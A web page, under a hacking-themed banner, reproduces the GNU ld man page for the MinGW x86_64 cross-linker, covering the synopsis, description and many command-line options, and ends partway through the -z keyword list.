  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1708 - Linux cli command x86_64-w64-mingw32-ld

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command x86_64-w64-mingw32-ld and provides detailed information about the command x86_64-w64-mingw32-ld, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the x86_64-w64-mingw32-ld.

NAME 🖥️ x86_64-w64-mingw32-ld 🖥️

The GNU linker

SYNOPSIS

ld [options] objfile

DESCRIPTION

ld combines a number of object and archive files, relocates their data and ties up symbol references. Usually the last step in compiling a program is to run ld.

ld accepts Linker Command Language files written in a superset of AT&T’s Link Editor Command Language syntax, to provide explicit and total control over the linking process.

This man page does not describe the command language; see the ld entry in info for full details on the command language and on other aspects of the GNU linker.

This version of ld uses the general purpose BFD libraries to operate on object files. This allows ld to read, combine, and write object files in many different formats—for example, COFF or a.out. Different formats may be linked together to produce any available kind of object file.

Aside from its flexibility, the GNU linker is more helpful than other linkers in providing diagnostic information. Many linkers abandon execution immediately upon encountering an error; whenever possible, ld continues executing, allowing you to identify other errors (or, in some cases, to get an output file in spite of the error).

The GNU linker ld is meant to cover a broad range of situations, and to be as compatible as possible with other linkers. As a result, you have many choices to control its behavior.

OPTIONS

The linker supports a plethora of command-line options, but in actual practice few of them are used in any particular context. For instance, a frequent use of ld is to link standard Unix object files on a standard, supported Unix system. On such a system, to link a file hello.o:

ld -o <output> /lib/crt0.o hello.o -lc

This tells ld to produce a file called output as the result of linking the file /lib/crt0.o with hello.o and the library libc.a, which will come from the standard search directories. (See the discussion of the -l option below.)

Some of the command-line options to ld may be specified at any point in the command line. However, options which refer to files, such as -l or -T, cause the file to be read at the point at which the option appears in the command line, relative to the object files and other file options. Repeating non-file options with a different argument will either have no further effect, or override prior occurrences (those further to the left on the command line) of that option. Options which may be meaningfully specified more than once are noted in the descriptions below.

Non-option arguments are object files or archives which are to be linked together. They may follow, precede, or be mixed in with command-line options, except that an object file argument may not be placed between an option and its argument.

Usually the linker is invoked with at least one object file, but you can specify other forms of binary input files using -l, -R, and the script command language. If no binary input files at all are specified, the linker does not produce any output, and issues the message No input files.

If the linker cannot recognize the format of an object file, it will assume that it is a linker script. A script specified in this way augments the main linker script used for the link (either the default linker script or the one specified by using -T). This feature permits the linker to link against a file which appears to be an object or an archive, but actually merely defines some symbol values, or uses INPUT or GROUP to load other objects. Specifying a script in this way merely augments the main linker script, with the extra commands placed after the main script; use the -T option to replace the default linker script entirely, but note the effect of the INSERT command.

For options whose names are a single letter, option arguments must either follow the option letter without intervening whitespace, or be given as separate arguments immediately following the option that requires them.

For options whose names are multiple letters, either one dash or two can precede the option name; for example, -trace-symbol and –trace-symbol are equivalent. Note—there is one exception to this rule. Multiple letter options that start with a lower case ‘o’ can only be preceded by two dashes. This is to reduce confusion with the -o option. So for example -omagic sets the output file name to magic whereas –omagic sets the NMAGIC flag on the output.

Arguments to multiple-letter options must either be separated from the option name by an equals sign, or be given as separate arguments immediately following the option that requires them. For example, –trace-symbol foo and –trace-symbol=foo are equivalent. Unique abbreviations of the names of multiple-letter options are accepted.

Note—if the linker is being invoked indirectly, via a compiler driver (e.g. gcc) then all the linker command-line options should be prefixed by -Wl, (or whatever is appropriate for the particular compiler driver) like this:

gcc -Wl,–start-group foo.o bar.o -Wl,–end-group

This is important, because otherwise the compiler driver program may silently drop the linker options, resulting in a bad link. Confusion may also arise when passing options that require values through a driver, as the use of a space between option and argument acts as a separator, and causes the driver to pass only the option to the linker and the argument to the compiler. In this case, it is simplest to use the joined forms of both single- and multiple-letter options, such as:

gcc foo.o bar.o -Wl,-eENTRY -Wl,-Map=a.map

Here is a table of the generic command-line switches accepted by the GNU linker:

  1. Read command-line options from file. The options read are inserted in place of the original @file option. If file does not exist, or cannot be read, then the option will be treated literally, and not removed. Options in file are separated by whitespace. A whitespace character may be included in an option by surrounding the entire option in either single or double quotes. Any character (including a backslash) may be included by prefixing the character to be included with a backslash. The file may itself contain additional @file options; any such options will be processed recursively.

-a keyword
This option is supported for HP/UX compatibility. The keyword argument must be one of the strings archive, shared, or default. -aarchive is functionally equivalent to -Bstatic, and the other two keywords are functionally equivalent to -Bdynamic. This option may be used any number of times.

–audit AUDITLIB
Adds AUDITLIB to the DT_AUDIT entry of the dynamic section. AUDITLIB is not checked for existence, nor will it use the DT_SONAME specified in the library. If specified multiple times DT_AUDIT will contain a colon separated list of audit interfaces to use. If the linker finds an object with an audit entry while searching for shared libraries, it will add a corresponding DT_DEPAUDIT entry in the output file. This option is only meaningful on ELF platforms supporting the rtld-audit interface.

-b input-format

–format=input-format

ld may be configured to support more than one kind of object file. If your ld is configured this way, you can use the -b option to specify the binary format for input object files that follow this option on the command line. Even when ld is configured to support alternative object formats, you don’t usually need to specify this, as ld should be configured to expect as a default input format the most usual format on each machine. input-format is a text string, the name of a particular format supported by the BFD libraries. (You can list the available binary formats with objdump -i.) You may want to use this option if you are linking files with an unusual binary format. You can also use -b to switch formats explicitly (when linking object files of different formats), by including -b input-format before each group of object files in a particular format. The default format is taken from the environment variable GNUTARGET. You can also define the input format from a script, using the command TARGET;

-c MRI-commandfile

–mri-script=MRI-commandfile

For compatibility with linkers produced by MRI, ld accepts script files written in an alternate, restricted command language, described in the MRI Compatible Script Files section of GNU ld documentation. Introduce MRI script files with the option -c; use the -T option to run linker scripts written in the general-purpose ld scripting language. If MRI-cmdfile does not exist, ld looks for it in the directories specified by any -L options.

-d

-dc

-dp

These three options are equivalent; multiple forms are supported for compatibility with other linkers. They assign space to common symbols even if a relocatable output file is specified (with -r). The script command FORCE_COMMON_ALLOCATION has the same effect.

–depaudit AUDITLIB

-P AUDITLIB

Adds AUDITLIB to the DT_DEPAUDIT entry of the dynamic section. AUDITLIB is not checked for existence, nor will it use the DT_SONAME specified in the library. If specified multiple times DT_DEPAUDIT will contain a colon separated list of audit interfaces to use. This option is only meaningful on ELF platforms supporting the rtld-audit interface. The -P option is provided for Solaris compatibility.

–enable-linker-version
Enables the LINKER_VERSION linker script directive, described in Output Section Data. If this directive is used in a linker script and this option has been enabled then a string containing the linker version will be inserted at the current point. Note - this location of this option on the linker command line is significant. It will only affect linker scripts that come after it on the command line, or which are built into the linker.

–disable-linker-version
Disables the LINKER_VERSION linker script directive, so that it does not insert a version string. This is the default.

–enable-non-contiguous-regions
This option avoids generating an error if an input section does not fit a matching output section. The linker tries to allocate the input section to subseque nt matching output sections, and generates an error only if no output section is large enough. This is useful when several non-contiguous memory regions are available and the input section does not require a particular one. The order in which input sections are evaluated does not change, for instance: MEMORY { MEM1 (rwx) : ORIGIN = 0x1000, LENGTH = 0x14 MEM2 (rwx) : ORIGIN = 0x1000, LENGTH = 0x40 MEM3 (rwx) : ORIGIN = 0x2000, LENGTH = 0x40 } SECTIONS { mem1 : { *(.data.*); } > MEM1 mem2 : { *(.data.*); } > MEM2 mem3 : { *(.data.*); } > MEM3 } with input sections: .data.1: size 8 .data.2: size 0x10 .data.3: size 4 results in .data.1 affected to mem1, and .data.2 and .data.3 affected to mem2, even though .data.3 would fit in mem3. This option is incompatible with INSERT statements because it changes the way input sections are mapped to output sections.

–enable-non-contiguous-regions-warnings
This option enables warnings when --enable-non-contiguous-regions allows possibly unexpected matches in sections mapping, potentially leading to silently discarding a section instead of failing because it does not fit any output region.

-e entry

–entry=entry

Use entry as the explicit symbol for beginning execution of your program, rather than the default entry point. If there is no symbol named entry, the linker will try to parse entry as a number, and use that as the entry address (the number will be interpreted in base 10; you may use a leading 0x for base 16, or a leading 0 for base 8).

–exclude-libs lib,lib,…
Specifies a list of archive libraries from which symbols should not be automatically exported. The library names may be delimited by commas or colons. Specifying --exclude-libs ALL excludes symbols in all archive libraries from automatic export. This option is available only for the i386 PE targeted port of the linker and for ELF targeted ports. For i386 PE, symbols explicitly listed in a .def file are still exported, regardless of this option. For ELF targeted ports, symbols affected by this option will be treated as hidden.

–exclude-modules-for-implib module,module,…
Specifies a list of object files or archive members, from which symbols should not be automatically exported, but which should be copied wholesale into the import library being generated during the link. The module names may be delimited by commas or colons, and must match exactly the filenames used by ld to open the files; for archive members, this is simply the member name, but for object files the name listed must include and match precisely any path used to specify the input file on the linker’s command-line. This option is available only for the i386 PE targeted port of the linker. Symbols explicitly listed in a .def file are still exported, regardless of this option.

-E

–export-dynamic

–no-export-dynamic

When creating a dynamically linked executable, using the -E option or the –export-dynamic option causes the linker to add all symbols to the dynamic symbol table. The dynamic symbol table is the set of symbols which are visible from dynamic objects at run time. If you do not use either of these options (or use the –no-export-dynamic option to restore the default behavior), the dynamic symbol table will normally contain only those symbols which are referenced by some dynamic object mentioned in the link. If you use dlopen to load a dynamic object which needs to refer back to the symbols defined by the program, rather than some other dynamic object, then you will probably need to use this option when linking the program itself. You can also use the dynamic list to control what symbols should be added to the dynamic symbol table if the output format supports it. See the description of –dynamic-list. Note that this option is specific to ELF targeted ports. PE targets support a similar function to export all symbols from a DLL or EXE; see the description of –export-all-symbols below.

–export-dynamic-symbol=glob
When creating a dynamically linked executable, symbols matching glob will be added to the dynamic symbol table. When creating a shared library, references to symbols matching glob will not be bound to the definitions within the shared library. This option is a no-op when creating a shared library and -Bsymbolic or –dynamic-list are not specified. This option is only meaningful on ELF platforms which support shared libraries.

–export-dynamic-symbol-list=file
Specify a –export-dynamic-symbol for each pattern in the file. The format of the file is the same as the version node without scope and node name. See VERSION for more information.

-EB
Link big-endian objects. This affects the default output format.

-EL
Link little-endian objects. This affects the default output format.

-f name

–auxiliary=name

When creating an ELF shared object, set the internal DT_AUXILIARY field to the specified name. This tells the dynamic linker that the symbol table of the shared object should be used as an auxiliary filter on the symbol table of the shared object name. If you later link a program against this filter object, then, when you run the program, the dynamic linker will see the DT_AUXILIARY field. If the dynamic linker resolves any symbols from the filter object, it will first check whether there is a definition in the shared object name. If there is one, it will be used instead of the definition in the filter object. The shared object name need not exist. Thus the shared object name may be used to provide an alternative implementation of certain functions, perhaps for debugging or for machine-specific performance. This option may be specified more than once. The DT_AUXILIARY entries will be created in the order in which they appear on the command line.

-F name

–filter=name

When creating an ELF shared object, set the internal DT_FILTER field to the specified name. This tells the dynamic linker that the symbol table of the shared object which is being created should be used as a filter on the symbol table of the shared object name. If you later link a program against this filter object, then, when you run the program, the dynamic linker will see the DT_FILTER field. The dynamic linker will resolve symbols according to the symbol table of the filter object as usual, but it will actually link to the definitions found in the shared object name. Thus the filter object can be used to select a subset of the symbols provided by the object name. Some older linkers used the -F option throughout a compilation toolchain for specifying object-file format for both input and output object files. The GNU linker uses other mechanisms for this purpose: the -b, –format, –oformat options, the TARGET command in linker scripts, and the GNUTARGET environment variable. The GNU linker will ignore the -F option when not creating an ELF shared object.

-fini=name
When creating an ELF executable or shared object, call NAME when the executable or shared object is unloaded, by setting DT_FINI to the address of the function. By default, the linker uses _fini as the function to call.

-g
Ignored. Provided for compatibility with other tools.

-G value

–gpsize=value

Set the maximum size of objects to be optimized using the GP register to size. This is only meaningful for object file formats such as MIPS ELF that support putting large and small objects into different sections. This is ignored for other object file formats.

-h name

-soname=name

When creating an ELF shared object, set the internal DT_SONAME field to the specified name. When an executable is linked with a shared object which has a DT_SONAME field, then when the executable is run the dynamic linker will attempt to load the shared object specified by the DT_SONAME field rather than using the file name given to the linker.

-i
Perform an incremental link (same as option -r).

-init=name
When creating an ELF executable or shared object, call NAME when the executable or shared object is loaded, by setting DT_INIT to the address of the function. By default, the linker uses _init as the function to call.

-l namespec

–library=namespec

Add the archive or object file specified by namespec to the list of files to link. This option may be used any number of times. If namespec is of the form :filename, ld will search the library path for a file called filename, otherwise it will search the library path for a file called libnamespec.a. On systems which support shared libraries, ld may also search for files other than libnamespec.a. Specifically, on ELF and SunOS systems, ld will search a directory for a library called libnamespec.so before searching for one called libnamespec.a. (By convention, a .so extension indicates a shared library.) Note that this behavior does not apply to :filename, which always specifies a file called filename. The linker will search an archive only once, at the location where it is specified on the command line. If the archive defines a symbol which was undefined in some object which appeared before the archive on the command line, the linker will include the appropriate file(s) from the archive. However, an undefined symbol in an object appearing later on the command line will not cause the linker to search the archive again. See the -( option for a way to force the linker to search archives multiple times. You may list the same archive multiple times on the command line. This type of archive searching is standard for Unix linkers. However, if you are using ld on AIX, note that it is different from the behaviour of the AIX linker.

-L searchdir

–library-path=searchdir

Add path searchdir to the list of paths that ld will search for archive libraries and ld control scripts. You may use this option any number of times. The directories are searched in the order in which they are specified on the command line. Directories specified on the command line are searched before the default directories. All -L options apply to all -l options, regardless of the order in which the options appear. -L options do not affect how ld searches for a linker script unless -T option is specified. If searchdir begins with = or $SYSROOT, then this prefix will be replaced by the sysroot prefix, controlled by the –sysroot option, or specified when the linker is configured. The default set of paths searched (without being specified with -L) depends on which emulation mode ld is using, and in some cases also on how it was configured. The paths can also be specified in a link script with the SEARCH_DIR command. Directories specified this way are searched at the point in which the linker script appears in the command line.

-m emulation
Emulate the emulation linker. You can list the available emulations with the –verbose or -V options. If the -m option is not used, the emulation is taken from the LDEMULATION environment variable, if that is defined. Otherwise, the default emulation depends upon how the linker was configured.

–remap-inputs=pattern=filename

–remap-inputs-file=file

These options allow the names of input files to be changed before the linker attempts to open them. The option –remap-inputs=foo.o=bar.o will cause any attempt to load a file called foo.o to instead try to load a file called bar.o. Wildcard patterns are permitted in the first filename, so –remap-inputs=foo*.o=bar.o will rename any input file that matches foo*.o to bar.o. An alternative form of the option –remap-inputs-file=filename allows the remappings to be read from a file. Each line in the file can contain a single remapping. Blank lines are ignored. Anything from a hash character (#) to the end of a line is considered to be a comment and is also ignored. The mapping pattern can be separated from the filename by whitespace or an equals (=) character. The options can be specified multiple times. Their contents accumulate. The remappings will be processed in the order in which they occur on the command line, and if they come from a file, in the order in which they occur in the file. If a match is made, no further checking for that filename will be performed. If the replacement filename is /dev/null or just NUL then the remapping will actually cause the input file to be ignored. This can be a convenient way to experiment with removing input files from a complicated build environment. Note that this option is position dependent and only affects filenames that come after it on the command line. Thus: ld foo.o –remap-inputs=foo.o=bar.o Will have no effect, whereas: ld –remap-inputs=foo.o=bar.o foo.o Will rename the input file foo.o to bar.o. Note - these options also affect files referenced by INPUT statements in linker scripts. But since linker scripts are processed after the entire command line is read, the position of the remap options on the command line is not significant. If the verbose option is enabled then any mappings that match will be reported, although again the verbose option needs to be enabled on the command line before the remaped filenames appear. If the -Map or –print-map options are enabled then the remapping list will be included in the map output.

-M

–print-map

Print a link map to the standard output. A link map provides information about the link, including the following:

  • Where object files are mapped into memory.

  • How common symbols are allocated.

  • All archive members included in the link, with a mention of the symbol which caused the archive member to be brought in.

  • The values assigned to symbols. Note - symbols whose values are computed by an expression which involves a reference to a previous value of the same symbol may not have correct result displayed in the link map. This is because the linker discards intermediate results and only retains the final value of an expression. Under such circumstances the linker will display the final value enclosed by square brackets. Thus for example a linker script containing: foo = 1 foo = foo * 4 foo = foo + 8 will produce the following output in the link map if the -M option is used: 0x00000001 foo = 0x1 [0x0000000c] foo = (foo * 0x4) [0x0000000c] foo = (foo + 0x8) See Expressions for more information about expressions in linker scripts.

  • How GNU properties are merged. When the linker merges input .note.gnu.property sections into one output .note.gnu.property section, some properties are removed or updated. These actions are reported in the link map. For example: Removed property 0xc0000002 to merge foo.o (0x1) and bar.o (not found) This indicates that property 0xc0000002 is removed from output when merging properties in foo.o, whose property 0xc0000002 value is 0x1, and bar.o, which doesn’t have property 0xc0000002. Updated property 0xc0010001 (0x1) to merge foo.o (0x1) and bar.o (0x1) This indicates that property 0xc0010001 value is updated to 0x1 in output when merging properties in foo.o, whose 0xc0010001 property value is 0x1, and bar.o, whose 0xc0010001 property value is 0x1.

  • On some ELF targets, a list of fixups inserted by –relax foo.o: Adjusting branch at 0x00000008 towards “far” in section .text This indicates that the branch at 0x00000008 in foo.o, targeting the symbol “far” in section .text, has been replaced by a trampoline.

–print-map-discarded

–no-print-map-discarded

Print (or do not print) the list of discarded and garbage collected sections in the link map. Enabled by default.

–print-map-locals

–no-print-map-locals

Print (or do not print) local symbols in the link map. Local symbols will have the text (local) printed before their name, and will be listed after all of the global symbols in a given section. Temporary local symbols (typically those that start with .L) will not be included in the output. Disabled by default.

-n

–nmagic

Turn off page alignment of sections, and disable linking against shared libraries. If the output format supports Unix style magic numbers, mark the output as NMAGIC.

-N

–omagic

Set the text and data sections to be readable and writable. Also, do not page-align the data segment, and disable linking against shared libraries. If the output format supports Unix style magic numbers, mark the output as OMAGIC. Note: Although a writable text section is allowed for PE-COFF targets, it does not conform to the format specification published by Microsoft.

–no-omagic
This option negates most of the effects of the -N option. It sets the text section to be read-only, and forces the data segment to be page-aligned. Note - this option does not enable linking against shared libraries. Use -Bdynamic for this.

-o output

–output=output

Use output as the name for the program produced by ld; if this option is not specified, the name a.out is used by default. The script command OUTPUT can also specify the output file name. Note - the linker will delete the output file before it starts to write to it. It will do this even if it turns out that the link cannot be completed due to errors. Note - the linker will check to make sure that the output file name does not match the name of any of the input files, but that is all. In particular it will not complain if the output file might overwrite a source file or some other important file. Therefore in build systems it is recommended to use the -o option as the last option on the linker command line. For example consider: ld -o $(EXE) $(OBJS) ld $(OBJS) -o $(EXE) If the EXE variable is not defined for some reason, the first version of the linker command could end up deleting one of the object files (the first one in the OBJS list) whereas the second version of the linker command will generate an error message and not delete anything.

–dependency-file=depfile
Write a dependency file to depfile. This file contains a rule suitable for make describing the output file and all the input files that were read to produce it. The output is similar to the compiler’s output with -M -MP. Note that there is no option like the compiler’s -MM, to exclude “system files” (which is not a well-specified concept in the linker, unlike “system headers” in the compiler). So the output from –dependency-file is always specific to the exact state of the installation where it was produced, and should not be copied into distributed makefiles without careful editing.

-O level
If level is a numeric values greater than zero ld optimizes the output. This might take significantly longer and therefore probably should only be enabled for the final binary. At the moment this option only affects ELF shared library generation. Future releases of the linker may make more use of this option. Also currently there is no difference in the linker’s behaviour for different non-zero values of this option. Again this may change with future releases.

-plugin name
Involve a plugin in the linking process. The name parameter is the absolute filename of the plugin. Usually this parameter is automatically added by the compiler, when using link time optimization, but users can also add their own plugins if they so wish. Note that the location of the compiler originated plugins is different from the place where the ar, nm and ranlib programs search for their plugins. In order for those commands to make use of a compiler based plugin it must first be copied into the ${libdir}/bfd-plugins directory. All gcc based linker plugins are backward compatible, so it is sufficient to just copy in the newest one.

–push-state
The –push-state allows one to preserve the current state of the flags which govern the input file handling so that they can all be restored with one corresponding –pop-state option. The option which are covered are: -Bdynamic, -Bstatic, -dn, -dy, -call_shared, -non_shared, -static, -N, -n, –whole-archive, –no-whole-archive, -r, -Ur, –copy-dt-needed-entries, –no-copy-dt-needed-entries, –as-needed, –no-as-needed, and -a. One target for this option are specifications for pkg-config. When used with the –libs option all possibly needed libraries are listed and then possibly linked with all the time. It is better to return something as follows: -Wl,–push-state,–as-needed -libone -libtwo -Wl,–pop-state

–pop-state
Undoes the effect of –push-state, restores the previous values of the flags governing input file handling.

-q

–emit-relocs

Leave relocation sections and contents in fully linked executables. Post link analysis and optimization tools may need this information in order to perform correct modifications of executables. This results in larger executables. This option is currently only supported on ELF platforms.

–force-dynamic
Force the output file to have dynamic sections. This option is specific to VxWorks targets.

-r

–relocatable

Generate relocatable output—i.e., generate an output file that can in turn serve as input to ld. This is often called partial linking. As a side effect, in environments that support standard Unix magic numbers, this option also sets the output file’s magic number to OMAGIC. If this option is not specified, an absolute file is produced. When linking C++ programs, this option will not resolve references to constructors; to do that, use -Ur. When an input file does not have the same format as the output file, partial linking is only supported if that input file does not contain any relocations. Different output formats can have further restrictions; for example some a.out-based formats do not support partial linking with input files in other formats at all. This option does the same thing as -i.

-R filename

–just-symbols=filename

Read symbol names and their addresses from filename, but do not relocate it or include it in the output. This allows your output file to refer symbolically to absolute locations of memory defined in other programs. You may use this option more than once. For compatibility with other ELF linkers, if the -R option is followed by a directory name, rather than a file name, it is treated as the -rpath option.

–rosegment

–no-rosegment

Attempt to ensure that only a single read-only, non-code segment is created. Only useful when used in conjunction with the -z separate-code option. The resulting binaries should be smaller than if -z separate-code is used on its own. Without this option, or if –no-rosegment is specified, the -z separate-code option will create two read-only segments, one before the code segment and one after it. The name of the options are misleading, but they have been chosen in order for the linker to be compatible with the LLD and GOLD linkers. Thse options are only supported by ELF targets.

-s

–strip-all

Omit all symbol information from the output file.

-S

–strip-debug

Omit debugger symbol information (but not all symbols) from the output file.

–strip-discarded

–no-strip-discarded

Omit (or do not omit) global symbols defined in discarded sections. Enabled by default.

-plugin-save-temps
Store the plugin “temporary” intermediate files permanently.

-t

–trace

Print the names of the input files as ld processes them. If -t is given twice then members within archives are also printed. -t output is useful to generate a list of all the object files and scripts involved in linking, for example, when packaging files for a linker bug report.

-T scriptfile

–script=scriptfile

Use scriptfile as the linker script. This script replaces ld’s default linker script (rather than adding to it), unless the script contains INSERT, so commandfile must specify everything necessary to describe the output file. If scriptfile does not exist in the current directory, ld looks for it in the directories specified by any preceding -L options. Command line options that appear before the -T option can affect the script, but command line options that appear after it do not. Multiple -T options will accumulate if they are augmenting the current script, otherwise the last, non-augmenting, -T option will be used. There are other ways of specifying linker scripts. See

-dT scriptfile

–default-script=scriptfile

Use scriptfile as the default linker script. This option is similar to the –script option except that processing of the script is delayed until after the rest of the command line has been processed. This allows options placed after the –default-script option on the command line to affect the behaviour of the linker script, which can be important when the linker command line cannot be directly controlled by the user. (eg because the command line is being constructed by another tool, such as gcc).

-u symbol

–undefined=symbol

Force symbol to be entered in the output file as an undefined symbol. Doing this may, for example, trigger linking of additional modules from standard libraries. -u may be repeated with different option arguments to enter additional undefined symbols. This option is equivalent to the EXTERN linker script command. If this option is being used to force additional modules to be pulled into the link, and if it is an error for the symbol to remain undefined, then the option –require-defined should be used instead.

–require-defined=symbol
Require that symbol is defined in the output file. This option is the same as option –undefined except that if symbol is not defined in the output file then the linker will issue an error and exit. The same effect can be achieved in a linker script by using EXTERN, ASSERT and DEFINED together. This option can be used multiple times to require additional symbols.

-Ur
For programs that do not use constructors or destructors, or for ELF based systems this option is equivalent to -r: it generates relocatable output—i.e., an output file that can in turn serve as input to ld. For other binaries however the -Ur option is similar to -r but it also resolves references to constructors and destructors. For those systems where -r and -Ur behave differently, it does not work to use -Ur on files that were themselves linked with -Ur; once the constructor table has been built, it cannot be added to. Use -Ur only for the last partial link, and -r for the others.

–orphan-handling=MODE
Control how orphan sections are handled. An orphan section is one not specifically mentioned in a linker script. MODE can have any of the following values:

“place”
Orphan sections are placed into a suitable output section following the strategy described in Orphan Sections. The option –unique also affects how sections are placed.

“discard”
All orphan sections are discarded, by placing them in the /DISCARD/ section.

“warn”
The linker will place the orphan section as for place and also issue a warning.

“error”
The linker will exit with an error if any orphan section is found.

The default if –orphan-handling is not given is place.

–unique[=SECTION]
Creates a separate output section for every input section matching SECTION, or if the optional wildcard SECTION argument is missing, for every orphan input section. An orphan section is one not specifically mentioned in a linker script. You may use this option multiple times on the command line; It prevents the normal merging of input sections with the same name, overriding output section assignments in a linker script.

-v

–version

-V

Display the version number for ld. The -V option also lists the supported emulations. See also the description of the –enable-linker-version in Options,,Command-line Options which can be used to insert the linker version string into a binary.

-x

–discard-all

Delete all local symbols.

-X

–discard-locals

Delete all temporary local symbols. (These symbols start with system-specific local label prefixes, typically .L for ELF systems or L for traditional a.out systems.)

-y symbol

–trace-symbol=symbol

Print the name of each linked file in which symbol appears. This option may be given any number of times. On many systems it is necessary to prepend an underscore. This option is useful when you have an undefined symbol in your link but don’t know where the reference is coming from.

-Y path
Add path to the default library search path. This option exists for Solaris compatibility.

-z keyword
The recognized keywords are:

call-nop=prefix-addr

call-nop=suffix-nop

call-nop=prefix-byte

call-nop=suffix-byte

Specify the 1-byte NOP padding when transforming indirect call to a locally defined function, foo, via its GOT slot. call-nop=prefix-addr generates 0x67 call foo. call-nop=suffix-nop generates call foo 0x90. **call-nop=prefix-**byte generates byte call foo. **call-nop=suffix-byte generates call foo byte. Supported for i386 and x86_64.

cet-report=none

cet-report=warning

cet-report=error

Specify how to report the missing GNU_PROPERTY_X86_FEATURE_1_IBT and GNU_PROPERTY_X86_FEATURE_1_SHSTK properties in input .note.gnu.property section. cet-report=none, which is the default, will make the linker not report missing properties in input files. cet-report=warning will make the linker issue a warning for missing properties in input files. cet-report=error will make the linker issue an error for missing properties in input files. Note that ibt will turn off the missing GNU_PROPERTY_X86_FEATURE_1_IBT property report and shstk will turn off the missing GNU_PROPERTY_X86_FEATURE_1_SHSTK property report. Supported for Linux/i386 and Linux/x86_64.

combreloc

nocombreloc

Combine multiple dynamic relocation sections and sort to improve dynamic symbol lookup caching. Do not do this if nocombreloc.

common

nocommon

Generate common symbols with STT_COMMON type during a relocatable link. Use STT_OBJECT type if nocommon.

common-page-size=value
Set the page size most commonly used to value. Memory image layout will be optimized to minimize memory pages if the system is using pages of this size.

defs
Report unresolved symbol references from regular object files. This is done even if the linker is creating a non-symbolic shared library. This option is the inverse of -z undefs.

dynamic-undefined-weak

nodynamic-undefined-weak

Make undefined weak symbols dynamic when building a dynamic object, if they are referenced from a regular object file and not forced local by symbol visibility or versioning. Do not make them dynamic if nodynamic-undefined-weak. If neither option is given, a target may default to either option being in force, or make some other selection of undefined weak symbols dynamic. Not all targets support these options.

execstack
Marks the object as requiring executable stack.

global
This option is only meaningful when building a shared object. It makes the symbols defined by this shared object available for symbol resolution of subsequently loaded libraries.

globalaudit
This option is only meaningful when building a dynamic executable. This option marks the executable as requiring global auditing by setting the DF_1_GLOBAUDIT bit in the DT_FLAGS_1 dynamic tag. Global auditing requires that any auditing library defined via the –depaudit or -P command-line options be run for all dynamic objects loaded by the application.

ibtplt
Generate Intel Indirect Branch Tracking (IBT) enabled PLT entries. Supported for Linux/i386 and Linux/x86_64.

ibt
Generate GNU_PROPERTY_X86_FEATURE_1_IBT in .note.gnu.property section to indicate compatibility with IBT. This also implies ibtplt. Supported for Linux/i386 and Linux/x86_64.

indirect-extern-access

noindirect-extern-access

Generate GNU_PROPERTY_1_NEEDED_INDIRECT_EXTERN_ACCESS in .note.gnu.property section to indicate that object file requires canonical function pointers and cannot be used with copy relocation. This option also implies noextern-protected-data and nocopyreloc. Supported for i386 and x86-64. noindirect-extern-access removes GNU_PROPERTY_1_NEEDED_INDIRECT_EXTERN_ACCESS from .note.gnu.property section.

initfirst
This option is only meaningful when building a shared object. It marks the object so that its runtime initialization will occur before the runtime initialization of any other objects brought into the process at the same time. Similarly the runtime finalization of the object will occur after the runtime finalization of any other objects.

interpose
Specify that the dynamic loader should modify its symbol search order so that symbols in this shared library interpose all other shared libraries not so marked.

unique

nounique

When generating a shared library or other dynamically loadable ELF object mark it as one that should (by default) only ever be loaded once, and only in the main namespace (when using dlmopen). This is primarily used to mark fundamental libraries such as libc, libpthread et al which do not usually function correctly unless they are the sole instances of themselves. This behaviour can be overridden by the dlmopen caller and does not apply to certain loading mechanisms (such as audit libraries).

lam-u48
Generate GNU_PROPERTY_X86_FEATURE_1_LAM_U48 in .note.gnu.property section to indicate compatibility with Intel LAM_U48. Supported for Linux/x86_64.

lam-u57
Generate GNU_PROPERTY_X86_FEATURE_1_LAM_U57 in .note.gnu.property section to indicate compatibility with Intel LAM_U57. Supported for Linux/x86_64.

lam-u48-report=none

lam-u48-report=warning

lam-u48-report=error

Specify how to report the missing GNU_PROPERTY_X86_FEATURE_1_LAM_U48 property in input .note.gnu.property section. lam-u48-report=none, which is the default, will make the linker not report missing properties in input files. lam-u48-report=warning will make the linker issue a warning for missing properties in input files. lam-u48-report=error will make the linker issue an error for missing properties in input files. Supported for Linux/x86_64.

lam-u57-report=none

lam-u57-report=warning

lam-u57-report=error

Specify how to report the missing GNU_PROPERTY_X86_FEATURE_1_LAM_U57 property in input .note.gnu.property section. lam-u57-report=none, which is the default, will make the linker not report missing properties in input files. lam-u57-report=warning will make the linker issue a warning for missing properties in input files. lam-u57-report=error will make the linker issue an error for missing properties in input files. Supported for Linux/x86_64.

lam-report=none

lam-report=warning

lam-report=error

Specify how to report the missing GNU_PROPERTY_X86_FEATURE_1_LAM_U48 and GNU_PROPERTY_X86_FEATURE_1_LAM_U57 properties in input .note.gnu.property section. lam-report=none, which is the default, will make the linker not report missing properties in input files. lam-report=warning will make the linker issue a warning for missing properties in input files. lam-report=error will make the linker issue an error for missing properties in input files. Supported for Linux/x86_64.

lazy
When generating an executable or shared library, mark it to tell the dynamic linker to defer function call resolution to the point when the function is called (lazy binding), rather than at load time. Lazy binding is the default.

loadfltr
Specify that the object’s filters be processed immediately at runtime.

max-page-size=value
Set the maximum memory page size supported to value.

mark-plt

nomark-plt

